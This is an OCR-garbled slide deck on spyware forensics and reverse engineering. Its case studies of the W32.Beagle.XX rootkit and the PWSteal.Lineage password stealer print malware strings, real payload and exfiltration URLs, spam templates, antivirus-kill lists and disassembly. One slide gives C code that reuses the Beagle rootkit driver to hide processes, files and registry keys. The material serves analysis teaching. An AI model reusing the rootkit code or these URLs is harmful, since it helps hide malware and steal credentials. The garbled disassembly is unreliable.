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Computer Forensics

» What is Computer Forensics ?
» Forensics Process Qverview
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Forensics Process Overview
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B Analyzing Network Traffic
» Evaluation(G=®%)

E Forensic Intuition/Sense
» Presentation(% 1)

B Writing Computer Forensic Report opemies

(4)Identify rogue processes
(5)Check for kernel module rootkits
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Investigating Windows System
(1)Volatile data in kernel ructures
(2)Slack space

(3)Logical file system

(4)event logs
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(7)Temporary files

(8)Printer spool

DFWS,2002



Why Spyware Forensics

» Rogue Web Sites
» Rogue Application
» Spyware Forensic
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Spyware Forensics

>

DEFINITION: Spyware Forensics® ¥ Computer Forensicssi— I » i & 4+
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Malware Forensms o
Perform Static Analysis of Spyware

B Reviewing the ASCII and Unicode strings

B Disassembling Code
Determining the Type of File

B PE/NE/ELF/COFF
Perform Dynamic Analysis of Spyware

B Debugging

B Monitoring (Create the Sandbox Environment)
Perform Online Research

B Determine if the tool is publicly available on computer security or hacker sites.
Perform Source Code Review

B If you either have the source code or believe you have identified the source code
via online research.
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Reverse Code Engineering

» What is RCE
» Type Of RCE
» Reversing Tools
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What is RCE

» Reverse engineering (RE)

B Reverse Engineering is the process of analyzing a subject
system to create representations of the system at a higher level
of abstraction.

E The process of discovering the technological principles of a
mechanical application through analysis of its structure, function
and operation.

» Reverse Code Engineering (RCE)

B RCE can be defined as analyzing and disassembling a software
system in order understand its design, components, and inner-
workings.

B RCE also allows us to see hidden behaviors that cannot be
directly observed by running the program or those actions that
have yet to be activated.

11



Types Of RCE

» Security-Related Reversing

B Malicious Software

B Reversing Cryptographic Algorithms
B Digital Rights Management

E Auditing Program Binaries

» Reversing in Software Development
B Achieving Interoperability with Proprietary Software

B Developing Competing Software
B Evaluating Software Quality and Robustness
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Reversing Tools i
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sul_BUSZEC proc near

» Hex Editors [ i

ur van, ean
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win T AW TeRt tribute
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» Disassemblers S e =!
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Anti-Reversing

» Eliminating Symbolic Information
» Obfuscating the Program

» Embedding Anti-debugger Code
» Code Encryption
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Anti-Reversing

» Eliminating Symbolic Information

E Clear Symbol Name
E Export Functions by Ordinals

» Obfuscating the Program
E Junk code
B Virtual Machine

» Embedding Anti-debugger Code
B isDebuggerPresent API
E CreateFlleA API

» Code Encryption )

E Simple XOR/ADD Encryption

B Packer and Protector
@ Packing

\_ @ Unpacking J
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Code Encryption

» Simple XOR/ADD Encryption

F Axor0=A
F AxorB=C
F AxorC=B

» Packer and Protector
E  Win32 Packer

ASPack
PECompact
UPX

FSG

Petite
PE-PACK

B Win32 Protector :

ASProtect
ACProtect
Armadillo
EXECryptor
EXE Stealth
FoxLock
Krypton
tElock
SDProtector
Themida
VMProtect
Xtreme-Protector

~Advantages—
1) The physical file size is usually smaller.
2) Resistant to the cracker.
3) Resistant to pattern-based Anti-Virus program.

e PEiD v0.94

i SR BV SR

File: DRSS E \Spywarefg S8 \PWSteal Lineage'PyWSteal Lineagetsvhe

Enfrypoint: |0001BBA4 EP Section: |.rerc

File Offset: 000DSDA First Bytes: BE,22,01,40

Linker Info: 0,37 Subsystem: \Win32 GUI
Upack 2.4 - 2.9 beta -= Dwing

ML Scan | Task 'v'iewer| Options | Ahout | Exit

e | —
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What is Packing (4r #)?

When Execution o

EL decompress

Hard Disk —2Hard Disk | Memory " =25 emory

creasing Siz
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UnPacking (%% %)

»  Automatic Unpacking
E  Auto unpacking tools
i http://www.pediy.com/tools/unpacker.htm

» Manual Unpacking
Open Debugger and load PE File.

Trace program to find OEP (Original Entry Point)
1. OepFinder

2. ESP Principle

3. Manual Trace

Dump Process to disk
Rebuild IAT (Import Address Table)
Rebuild PE

- Demo
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Spyware Reversing

» Spyware Reversing Methodology

» Case Study
B W32.Beagle. XX(NTRootKit-W)
B PWSteal.Lineage
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Spyware Reversing Methodology (6 Step) "

Revealing the Source Code

plolsas A\lcjorlinnr) Reconsiriciior]

[ Y=

Strine Analysis= PE Analysis I . PJadtlefefinle]

Dos Stub Packer Check Prog Mechanism Program Algorithm File
Strange Keyword Unpacking Function xref Process
File Name APl Name String xfef Registry
Strange URL BindPEAnalysis Import Function Network
Strange IP Export Function

Registry Key
Strange E-MAIL
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Case Study

» W32.Beagle. XX(NTRootKit-W)
E Spyware Analysis
B Spyware Exploit

» PWSteal.Lineage

E Spyware Analysis
B Spyware Exploit

21



Case 1 : W32.Beagle XX(NTRootKit-W)
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B m_hook.sys & Kernel Mode > £ & Fifr + scfg i 4 o
> R
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W32.Beagle.XX(NTRootKit-W)-Analysis Flow

Spyware
Py £

[

-
(

-

Step

=
-

Files

String Analysis

PE File Analysis
\

J { jrcdgmmjdol.exe

- String Analysis

PE File Analysis

Disassembling

\

N

I

) beagle extl.exe
beagle ext2.exe (Driver)

beagle extl.exe

< beagle ext2.exe (Driver)
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W32.Beagle.XX-Static Analysis-Stage 1

» Step 1: String analysis—jrcdgmmjdol.exe
E DOS Stub : Not Found!
E Strange Keyword : Not Found!
E FileName : kernel32.dlI

» Step 2: PE file analysis
B Packer Check : Not Found!
E APl Name : LoadLibraryA - GetProcAddress
E Unpacking : jrcdgmmjdol.exe->un_jrcdgmmjdol.exe :
B BindPEAnalysis : Extract 2 PE Files (beagle extl.exe - @
beagle ext2.exe) @ e T

» Go To Stage 2 b

page_extd.exe

24



W32.Beagle.XX-Static An

» Step 1: String analysis— beagle extl.

Beagle extl.exe

@ DOS Stub : Not FOM
@ Strange Keyword :

@ FileName : temp.zip ~ error.gif

@ Strange IP : 217.5.97.137

@ Strange URL :

Beagle ext2.exe

@ DOS Stub:!This program cannot be rur

@ Strange Keyword : \Device\m_hook -~ \
KeServiceDescriptorTable

@ FileName : c:\reliz\driver_rootkit2\drive

» Step 2: PE file analysis

Beagle ext2.exe (Is Driver ?)

@ Packer Check : Not Found!

@ API Name : PsSetLoadlmageNotifyRo
ZwQueryDirectoryFile ~ ZwEnumeratel

BindPEAnNalysis : Not Found!

» Go To Stage 3

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

drv_st key

\hidn

\hidnl.exe
m_hook.sys
m_hook
google.com

HELO %s.net
HELO %s.com
HELO %s.org
RSET

MAIL FROM:<%s>
RCPT TO:<%s>
DATA

.Zip

image/qif

Date: %s

To: "%s" <%s>
From: "%s" <9
Subject: %s
Message-ID: <%s%s>
MIME-Version: 1.0

http://www.titanmotors.com/images/1/eml.php
http://veranmaisala.com/1/eml.php
http://wklight.nazwa.pl/1/eml.php
http://lyongsan24.co.kr/1/eml.php
http://accesible.cl/1/eml.php
http://hotelesalba.com/1/eml.php
http://amdlady.com/1/eml.php
http://inca.dnetsolution.net/1/eml.php
http://www.auraura.com/1/eml.php
http://avataresgratis.com/1/eml.php
http://beyoglu.com.tr/1/eml.php
http://brandshock.com/1/eml.php
http://www.avinpharma.ru/777.gif
http://ouarzazateservices.com/777.gif
http://stats-adf.altadis.com/777.qgif
http://bartex-cit.com.pl/777.gif
http://bazarbekr.sk/777.gif
http://gnu.univ.gda.pl/777.gif
http://bid-usa.com/777.gif
http://biliskov.com/777.qgif
http://biomedpel.cz/777.gif
http://blackbull.cz/777.gif

Content-Type: multipart/mixed; boundary=" %s" %s
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit---------- %s

Content-Type: application/octet-stream; name="%s%s"
Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="%s%s"

<br>The password is <img src="cid:%s.%s"><br>
<br>Password -- <img src="cid:%s.%s"><br>

<br>Use password <img src="cid:%s.%s"> to open archive.<br>
<br>Password is <img src="cid:%s.%s"><br>

<br>Zip password: <img src="cid:%s.%s"><br>

<br>archive password: <img src="cid:%s.%s"><br>
<br>Password - <img src="cid:%s.%s"><br>

<br>Password: <img src="cid:%s.%s"><br>---------- %s
Content-Type: %s; hame="%s.%s"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="%s.%s"

Content-ID: <%s.%s>

<img src="cid:%s.%s"><br>---------- %s--

<br>
<html><body>
</body></htm|>




W32.Beagle.XX-Static Analysis-Stage 3

» Step 3 : Disassembling - beagle extl.exe

(PU4US3EA start

: 0040538A
: 004B0538A
: 0040538F
: 00405394
: 00405394
: 00405399
: 0O4BO539E
: 004053A3
: 00405308
: 004053AD
: 00405362
: 004053BT
: 004053BC
: 004053BE
: 004053C0
: 004053C5
: 004053C6
: 004053CB
: 004053CC
: 004053CF
: 00405304
: 004053D9
: 004053DB
: 00405300
: 004053E2
: O04OS3ET
: 004053EC
: 004053F1
: 004053F1
: 004053F6
: 004053F6
: 004053F6
: 004053F6
: 004O53FB
: 00405400

loc_YHOS3F6:

proc near ; LUUE XREF: SequuZ:uu4Zd1Erb )]
; DATA XREF: seqgBB2:004291EAl0

call sub_4044D1 : VT hidn HEREE TEhidn  exefE&E

call sub_40520C ; BECFEEZhidnl . exe « FIEREE—ZURlE{ TR

call sub_4046T4 i =RV Hm_hook . sysi7EERATHREAANti-Virus JEF5{E + & Am_hook.sys + m_hook . sysEl F (& RARHANti-Virusf]*/Process
;e IR R EDLLAIEEE ALY

call sub_405350 : FEVIC:\\error.gifi7F]BEC : \\error .qifis{FHES

push 3E8h : duMilliseconds

call Sleep

call sub_40528E : B ARegistry "dru_st_key" "SOFTWARE\Microsoft\lWindous\CurrentUersion\Run"

push offset dword_419020 ; int

push offset ExistingFileName ; lpFileName

call sub_40213B

or eax, eax

jz short loc_U4053F6

mou dword_41901C, eax

push eax

call GetTickCount

pop edx

mov [edx+2], eax

call sub_4OY4FES : Fiaf{pusastartup

call sub_4051A6 ;. BEGEAEEERY Lsmtp.google. com

or eax, eax

jz short loc_#853F6 : AR FEMEEIL W ILIHEEREE) » BiES1eep

push 1388h ; duMilliseconds

call Sleep

call sub_401000 ; xor edx, OEDB88320h fZEi7R

call sub_404D98 : URLDownloadToFileAiEi7¥Thread=Ehttp: //ujscie.one.pl/T77.gif MEil{EAC : \WINNT\system32\re_file.exe

call sub_40500D . i AR R R E (BB HVDNS Serverii%([8%google . com(g ¢+ BRI T e-maild|F7
s AFTiGzipEREEFH - FEHYREERTHYThreadEfTE-nail 5= "0 "
; CODE XREF: start+34Tj
; start+51Tj

push 3E8h : duMilliseconds

call Sleep : —ESleep

jmp short loc_4@5BF6

26
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W32.Beagle.XX-Static Analysis-Stage 3(Count.)

» Step 3 : Disassembling - beagle extl.exe (Startup Driver)

seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
5eg000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:
seq000:

004046C0O
004046C5
004046CA
004046CA
004046CA
004046CA
004046CA
004046CA
004046CA
004046CA
004046CA
004046CF
004046D4
004046D4
004046D4
004046D4
004046D4
004046D4
004046D9
004046DE
004046DE
004046DE
004046DE
004046DE
004046DE
OO4O4BE3
OO4O4EES
OO4046ED
004046F 2
004046F 2
004046F 2
004046F 2
004046F 2
004046F 2
OO4O46F T
004046FC
00404701
00404706
00404706

call
push
call

push
call

push
call

push
call
push
call

push
call
push
call

sub_403DAF ; OpenSCHanagerA,OpenServiceRd

offset ServiceName : "m_hook™

sub_4040DD ; push eax ; lpBytesReturned
; push 0 ; hOutBuffersSize
; push <] ; lpOutBuffer
; push ebx ; hInBufferSize
; push offset dword_41728B ; lpInBuffer
; push 22E018h ; dwIoControlCode
; push [ebp+hObject] ; hDevice
; call DeviceIoControl

offset ServiceName : "m_hook™

sub_H0O3F95 ; FILE_DEUVICE_UNKNOWN

; READEWRITE ACCESS
; METHOD_BUFFERED

0x802

I0CODE: 22EQ08

; Func:[ZEiProcesst!
offset ServiceName : "m_hook™
sub_404039 ; FILE_DEUICE_UNKNOUWN

; READEWRITE ACCESS

; METHOD_ BUFFERED

0x803
| I0CODE-22EQAC
; Func:[ZEiDirectory
offset ServiceName : "m_hook™
sub_4042D6 ; IOCODE:22E010
offset ServiceName : "m_hook™
sub_404367 ; FILE_DEUICE_UNKNOUWN

; READEWRITE ACCESS
; METHOD_BUFFERED

X305

IOCODE: 22E014

; Func:[=HRegistry
offset ServiceName : "m_hook™
sub_4043F8 ; IOCODE:22E01C
offset ServiceName : "m_hook™
sub_403E4E ; FILE_DEUICE_UNKNOUWN
. READGWRITE ACCESS 27
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W32.Beagle . XX-Exploit Spyware

» Reuse Rootkit :

//SSDT Hook
#define IOCTL_M_HOOK 1\

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_READ_ ACCESS+FILE_WRITE_ACCESS)
//Hidden Process
#define IOCTL_M_HOOK 2\

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS)
//Hidden Directory
#define IOCTL_M_HOOK_3\

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS)
//IRegistry
#define IOCTL_M_HOOK 5\

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_READ_ ACCESS+FILE_WRITE_ACCESS)

char *tmp[]={"notepad.exe","regedit.exe","calc.exe","HIT2006","cmd.exe","nod32krn.exe","KAV.exe"};
/ File Process Registry

DeviceloControl(hFile,IOCTL_M_HOOK_2,tmp[2], sizeof(tmp),NULL,0,&BytesReturned,NULL);//process
DeviceloControl(hFile,IOCTL_M_HOOK_3,tmp[0], sizeof(tmp),NULL,0,&BytesReturned,NULL);//directory
DeviceloControl(hFile,IOCTL_M_HOOK_5,szWideProgID, sizeof(szWideProgID),NULL,0,&BytesReturned,NULL) //registry
DeviceloControl(hFile,IOCTL_M_HOOK_7,tmp[5], sizeof(tmp),NULL,0,&BytesReturned,NULL);//anti-virus prog
DeviceloControl(hFile,IOCTL_M_HOOK_1,NULL,0,NULL,0,&BytesReturned,NULL);

DEMO
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Case 2 : PWSteal.Lineage

> T AL
Bl * FIES R A PSR IEEL2 %5 0 & F4p LeE-mail -

» AL

B 5 TR e R i e T g 4

QARPAFARE > AHAER?D AL EE 4 fj&# eI N
104 p > AE A A Bk > B R EER T
http://kaixin.w67a.chinanetidc.com/X-Box.scr

QAR Ay BT REEY- Mgy LI R
http://kaixin.w67a.chinanetidc.com/diany.scr £_i% 2 7§ 745 45 PR 12528
v |
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PWSteal.Lineage-Analysis Flow

S are
pyw .

-
(

-

N7

N7

Step

Files

[ String Analysis
_ PE File Analysis

N

diany.scr

[ String Analysis
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[ String Analysis

PE File Analysis

Disassembling

Debugging

Decrypt String
String Analysis

Run&Monitoring

AN

N

AN

AN

Lineage_Unext2.exe
Lineage ext3.exe
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PWSteal.Lineage-Static Analysis-Stage 1

» Step 1: String analysis—diany.scr
B DOS Stub : MZ ~ This program must be run under Win32

B Strange Keyword : EXEpack - Adobe Photoshop 7.0(2006:05:08
14:01:31)

B FileName : 1.exe - ttt.jpg

» Step 2: PE file analysis
B Packer Check : Borland Delphi 6.0 - 7.0 [Overlay]

B APl Name : WriteFile -~ ReadFlle -~ ShellExecuteA -
CreateProcessA

B BindPEAnalysis : Extract 2 PE Files (Lineage_extl.exe - ﬂ
Lineage_ext2.exe) @

» Go To Stage 2

extl.exe

extZ.exe
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» Step 1: String analysis—Lineage extl.exe ~ Lineage ext2.exe
E DOS Stub :
@ Lineage extl.exe : MZP This program must be run under Win32
B Strange Keyword :
@ Lineage extl.exe : SOFTWARE\Borland\Delph\RTL - EXEpack
@ Lineage ext2.exe : ByDwing
B FileName :
@ Lineage extl.exe : .jpg ~ .bmp ~ .EXE

» Step 2: PE file analysis
B Packer Check :
@ Lineage extl.exe : Borland Delphi 6.0 - 7.0
@ Lineage ext2.exe : Upack 2.4 - 2.9 beta -> Dwing

B Unpacking : Lineage ext2.exe -> Lineage Unext2.exe
B BindPEAnalysis : Lineage Unext2.exe Extract 1 File (Lineage ext3.exe)

» Go To Stage 3
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» Step 1: String analysis—Lineage ext3.exe
E DOS Stub :
@ Lineage ext3.exe : This program must be run
B Strange Keyword :

@ Lineage ext3.exe : tobMainAccountID ~ tbMainA
tbPasswordHint ~ tbGoodLockID

B FileName :
@ Lineage ext3.exe : J_.EXE -~ dl.dat ~ d2_.exe -

» Step 2: PE file analysis

B Packer Check :
@ Lineage ext3.exe : Not a valid PE file (Why?)

E APl Name :
@ Lineage Unext2.exe : CreateToolhelp32Snapshot -
@ Lineage ext3.exe : SetWindowsHookEXA ~ Unh
@ Lineage ext3.exe : 2 Export Function->JSta ~ J§

B BindPEAnalysis : None

» Go To Stage 4

127.0.0.1

sendemail

sendemail-connect

ehlo vip

Rset

MAIL FROM:

RCPT TO: <

DATA

Message-Id: <HAgljnibgrft@b.b.c>
From:

To:

Subject:

X-Mailer: <FOXMAIL 4.0>
MIME-Version: 1.0

Content-Type: text/html; charset="GB2312"
QUIT

HELO

auth LOGIN

MAIL FROM:

RCPT TO: <

DATA

Message-Id: <HAnibgrft@b.b.c>
From:

To:

Subject:

X-Mailer: <FOXMAIL 4.0>
MIME-Version: 1.0

Content-Type: text/html; charset="GB2312"
QUIT




PWSteal.Lineage-Static Al

» Step 3 : Disassembling -diany.scr

» diany.src is a Dropper

CODE:00403E39 mov
CODE:00403E3E mov
CODE:00403E43 mov
CODE:00403E46 call

CODE:00403E4B lea
CODE:00403E51 mov
CODE:00403E56 mov
CODE:00403E59 call
CODE:00403E5E  cmp
CODE:00403E63 jnz
CODE:00403E69 lea
CODE:00403E6F mov
CODE:00403E74 xor
CODE:00403E76 mov
CODE:00403E78 inc
CODE:00403E79 call

caII

ecx, 2
edx, OFFFFF6B4h ;
eax, [ebp+hFile] ; hFile
FileSeek(int,int,int)
edx, [ebp+var_896C] ;
ecx, 94Ch
eax, [ebp+hFile] ; hFile
sub_403C6C
eax, 94Ch
loc_40421C
eax, [ebp+var_896C]

: dwMoveMethod
IDistanceToMove

IpBuffer
; NNumberOfBytesToRead

edx, offset aExepack ; "EXEpack"

ecx, ecx
cl, [eax]

ecx

AStrCmp(void)

eax ; IpFile
offset @Consts@ 16
0 - hwnd

ShellExecuteA

CODE:00403FA6 loc_403FAG:

CODE:00403FA6 mov
CODE:00403FA9 mov
CODE:00403FAB sub

CODE:00403FAE mov
CODE:00403FB3 mov
CODE:00403FB6 mov
CODE:00403FB9 call

CODE 00403FB lea

: mov
- call
By mov
= lea
mov

CODE 0403FDB

call
CODE:00403FEO mov
CODE:00403FE6 call
CODE:00403FEB mov
CODE:00403FEE cmp

CODE: 00403FF2 jz

: Xor
push
push
push

mov
CODE 0404002
CODE:00404002 loc_404002:
CODE:0040400 mov
CODE:0040400 mov
CODE:0040400 mov
CODE:0040400C call
CODE:00404011 mov

CODE:00404013 lea

CODE:00404Q19 mov
CODE:00404Q1C call
CODE:00404021 mov
CODE:00404023 mov
CODE:00404026 sub
CODE:0040402 lea

CODE:0040402 mov

CODE:00404030
CODE:00404033

mov
call

CODE:00404038 test
CODE:0040403A jz
CODE:0040403C mov
CODE:0040403F cmp

CODE:00404042 inz

- - iﬁ i‘i
eax, [ebp+var_1C]
eax, [eax]
[ebp+IDistanceToMove], eax
ecx, 2 ; dwMoveMethod
edx, [ebp+IDistanceToMove]
eax, [ebp+hFile] ; hFile
FileSeek(int,int,int)
eax, [ebp+var_8988]
edx, [ebp+var_20]
unknown_libname_11 ;
ecx, [ebp+var_8988]
eax, [ebp+var_8984]
edx, [ebp+var_14]
LStrCat3(void)
eax, [ebp+var_8984]
FileCreate(System::AnsiString)
[ebp+hObject], eax
[ebp+hObject], OFFFFFFFFh
short loc_404060
edx, edx
ebp
offset loc_40404E
dword ptr fs:[edx]
fs:[edx], esp

eax, [ebp+var_1C]
eax, [eax]
edx, 8000h
sub_404368
ecx, eax ; NNumberOfBytesToRead

edx, [ebp+Buffer] ; IpBuffer
eax, [ebp+hFile] ; hFile
sub_403C6C
ebx, eax
eax, [ebp+var_1C]
[eax], ebx
edx, [ebp+Buffer] ; IpBuffer
ecx, ebx ; NNumberOfBytesToWrite
eax, [ebp+hObject] ; hFile
sub_403C38
ebx, ebx
short loc_404044
eax, [ebp+var_1C]
dword ptr [eax], O
short loc_404002
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00404B5D |. 50 |push eax ;/Process
eax, [ebp-4] 00404B5E |. 6A FF |push -1 ;|Inheritable =T

S o SRe edx, [ebp-8] 00404B60 |. 6A 01 |push 1 ; |[Access = TERMINATE

g |. IBA5C10 FF |mov  bl, [eax+edx-1] 00404B62 |. E8 6DEFFFFF |call <jmp.&kernel32.0penProcess>
00404347 |.|80C3 80 ladd  bl, 80 00404B67 |. 8BD8 [mov  ebx, eax
0040434A |.|8D45F4 |lea eax, [ebp-C] 00404B69 |. 85DB [test ebx, ebx
0040434D |. |8BD3 |[mov  edx, ebx 00404B6B |. 74 19 lie  short 00404B86
0040434F |. |E8 84EEFFFF |call 004031D8 00404B6D |. 6A00  |push O ;/ExitCode =0
00404354 |.|8B55F4 |mov edx, [ebp-C] 00404B6F |. 53 [push ebx ;|hProcess
00404357 |. |8BC7 [mov  eax, edi 00404B70 |, E8 77EFFFFF |call <jmp.&kernel32.TerminateProces$>

. 83F801 |cmp eax1
. 1BCO |sbb eax, eax

00404359 |. |E8 DAEEFFFF |call 00403238
0040435E |. |FF45 F8 linc  dword ptr [ebp-8]

00404361 |. |4E |dec esi _-100404B7A |. 40 linc  eax
00404362 |.MN\75 D9 \jnz  short OO@D/ 00404B7B |. 8845 FB |mov [ebp-5], al
00404B7E |. 53 |push ebx ;/hObject
00404B7F |. E8 60EEFFFF |call <jmp.&kernel32.CloseHandle>
RavMonClass M

RavMon.exe push eax ; |Class

EGHOST.EXE : 38 ABEEFFFF call <jmp.&user32.FindWindowA>
MAILMON.EXE . 6A 00 push 0 ;/IParam =0

KAVPFW.EXE ‘ . 6A 00 push 0 ;|wParam =0

IPARMOR.EXE 00404C6816A 10 push 10 ; [Message = WM_CLOSE
Ravmond.EXE : 00404C6A |. 50 push eax ;|hWnd

KVXP.KXP 00404C6B |. E8 ACEEFFFF call <jmp.&user32.SendMessageA>
KVMonXP.KXP 35
KRegEXx.exe




PWSteaI Llneage -Static Analysis-Stage 5(Count.) *.
04FDE £ mOVh gyte ptr/[egp 2|1] 43 00405836 . 50 push eax : /FileName
| =bUS el piE) = 00405337 . EB 7ODFFFFE call <jmp.&Kkernel32.LoadLibraryAl
ropplng PDLL.BH=S:,  cax, [ebp-20] | ébx"oeax y
00404269\, 50 push eax ; |pBytesWr|tt§n ebx, ebx
0040426A . 6A 01 push 1 ; |nBytesToWrite = 00405CEB
0040426C . BDA5DF  lea  eax, [ebp-21] 00405846 ¥/ 8D95 COFTFFFF lea  edx, [ebp-840]
LELDADE o 20 PUEn e e 00405B4C . B8 48624000 mov  eax, 00406248
BERORZTY - S pusihEebx s kit _ | 00405B51 . E8 A2E7FFFF call (004042F8
00404271 . E8 7EF8FFFF call <jmp.&kernel32.Writel go405B56 . 8B85 COF7FFFE mov eax, [ebp-840]
UBRLRZ e Y push 0 /pOverlapped =N 0040585C . E8 CFD8FFFF call 00403430
00404278 . 8D45 EO lea  eax, [ebp-20] _ 00405B61 . 50 push eax ;/ProcNameOrOrdinal
0040427B . 50 push eax ; |pBytesWritten 00405B62 . 53 push ebx ; [hModule
SRROAZIC - BB R ey EET [Rap] 00405B63 . E8 1CDFFFFF call <jmp.&kernel32.GetProcAddre
0040427F . 48 dec eax 0
00404280 . 50 push eax ; [nBytesToWrite | go405C41 . 50 push eax
00404281 . 8B45 FC mov  eax, [ebp-4] 00405C42 . FFD7 call edi// Call Export Function
00404284 . 40 iInc  eax ; JUnExt3.0040D1AG—
00404285 . 50 push eax ; |Buffer
00404286 . 53 push ebx ; |hFile ov  eax, [esi]
00404287 . E8 68F8FFFF call <jmp.&kernel32.Write
0040428C . EB 14 jmp  short 004042A2 E8SODEFFFF call <jmp.&user32.PeekMessageA>
0040428E > 6A 00 push 0 ; /pOverlapped = N -
00404290 . 8D45 EO lea  eax, [ebp-20] 00405C8B . |E8 94DEFFFF call <jmp.&user32.TranslateMessage>
00404293 . 50 push eax ; |pBytesWritten 00405C90 . |8D85 D3FBFFFF lea  eax, [ebp-42D]
00404294 . 8B45F8  mov eax, [ebp-8] 00405C96 . |50 push eax ;/pMsg
00404297 . 50 push eax ; |nBytesToWrite 00405C97 . |E8 68DEFFFF call <jmp.&user32.DispatchMessageA>
00404298 . 8B45 FC mov  eax, [ebp-4] 00405C9C |68 E8030000 push 3E8 ; /Timeout = 1000. ms
0040429B . 50 push eax ; |Buffer 00405CA1l . |E8 3EDEFFFF call <jmp.&kernel32.Sleep>
0040429C . 53 push ebx ; |hFile 00405CA6 . |8B06 mov  eax, [esi]
0040429D . E8 52F8FFFF call <jmp.&kernel32.Writeff 00405CA8 . |FF80 19110000 inc  dword ptr [eax+1119]
004042A2 > 53 push ebx ;/hObject 00405CAE . |E8 65EFFFFF call 00404C18 //Kill Process Loof
004042A3 . E8 3CF7FFFFcall <jmp.&kernel32.CloseHand| 00405CB3 . [EB A3 jmp  short 00405C58
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» Step 5 : Decrypt Strings—Lineage UnExt2.exe
F Decryption Routine
@ buffer[i] = (buffer[i]+0x80) & OXFF ;
B Extract Strings and GoTo Setp 1

» Step 1: String Analysis--Lineage UnExt2.exe

B Strange Keyword :
@ RegisterServiceProcess
@ Mapfile
@ URLDownloadToFileA (API)

B FileName :

@ RavMon.exe - EGHOST.EXE - MAILMON.EXE - KAVPFW.EXE ~ IPARMOR.EXE -
Ravmond.EXE ~ KVXP.KXP ~ KVMonXP.KXP - KRegEx.exe ~ PDLL.dIl ~ Internat.exe ~

E Registry Key : SOFTWAREMicrosoft\Windows NT\CurrentVersion\Winlogon\Userinit

F URL:
http://kaixin.w67a.chinanetidc.com/Send.asp?tomail=abc@sina.com&mailbody=

B E-Mail : abc@sina.com
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» Step 5 : Decrypt Strings—Lineage Ext3.exe

-
;‘(
8 o

E Decryption Routine
@ buffer[i] = (buffer[i]+0x80) & OXFF ;
B Extract Strings and GoTo Setp 1

» Step 1: String anal_'
:

Strange Keyword :

E FileName : c:\gameabl.txt ~ ci\abcl. - IEXPLQ
wsock32.dll
F Registry Key :
Software\Microsoft\Windows\CurrentVersion\Explor,
B Strange URL :
@ http://gash.gamania.com/gash_loginforml.asp?Mess
@ http://www.gamania.com/ghome/home_center.asp
@ https://tw.goodlock.gamania.com/index.aspx
@ https://gash.gamania.com/gash_depositpoint/deposit|
@ https://tw.gash.gamania.com/GASHLogin.aspx
@ https://tw.gash.gamania.com/GASHLogin.aspx?
@ https://tw.gash.gamania.com/UpdateMainAccountPas
@ https://tw.gash.gamania.com/UpdateBasicinfo.aspx
@ https://tw.gash.gamania.com/UpdateServiceAccountH

tbMainAccountID
tbPersonallD
tbMainAccountPassword
tbServiceAccountlD
tbOldPassword
toNewPassword
IbServiceTitle

X _tbPassword
ddiDelayTime
Internet Explorer_Server
Lineage

LiTo

serverListWnd
Windows Client
IEFrame

socket

connect
WSAStartup
gethostname
gethostbyname
inet_ntoa
WSACIleanup
inet_addr

send

htons

closesocket

recv

E Strange E-Mail : vip@microsoft.com
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\

» Step 6 : Run & Monitoring (DEM

7} Index - Microsoft Internet Explorer
BER wWEE R0 EHSEEW IBOD FHE
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faTiimaE

i
CEH wemest  TEmmEm v
R

Mj§§%=== )
g
m_[m?MEﬁﬁmﬁﬁJ

[T S s A E ]
AT e o B R IS ARG AR, » R BT RA A T lR T it
i BT TR AR EERIEEER - MEREEEEReEL £
RIS AR I T PIREEERAY -
1 IATAr NS AR | B AR B IR T AmNERaEA MRRR TS | A
FEETT R E AR A T ER -
o EMERREEREAR SO ENEEE TS SRAIENR
TIIFRERRERS -
3. BRI ATE A GASHE B R ASTU TR B B A TR S TEE, -
4 BTSRRI  BTENEEREEE N

m““““‘\htd’/wm*J’u‘”’“rm“‘ir’mmﬂ“"JM"y¢u,*‘“*u"‘l““r

svchost.exe

svchost.exe 0

taskmgr.exe

taskmgr.exe 0

Explorer.EXE

Explorer.EXE O

svchost.exe

svchost.exe 0

taskmgr.exe

taskmgr.exe 0

Explorer.EXE

Explorer.EXE O
https://tw.goodlock.gamania.com/index.aspx
5

6

U:ccc
https://tw.goodlock.gamania.com/index.aspx
5

6

U:ccc
https://tw.goodlock.gamania.com/index.aspx
https://tw.goodlock.gamania.com/index.aspx
Internet Explorer_Server

Internet Explorer_Server
https://tw.goodlock.gamania.com/index.aspx
https://tw.goodlock.gamania.com/index.aspx
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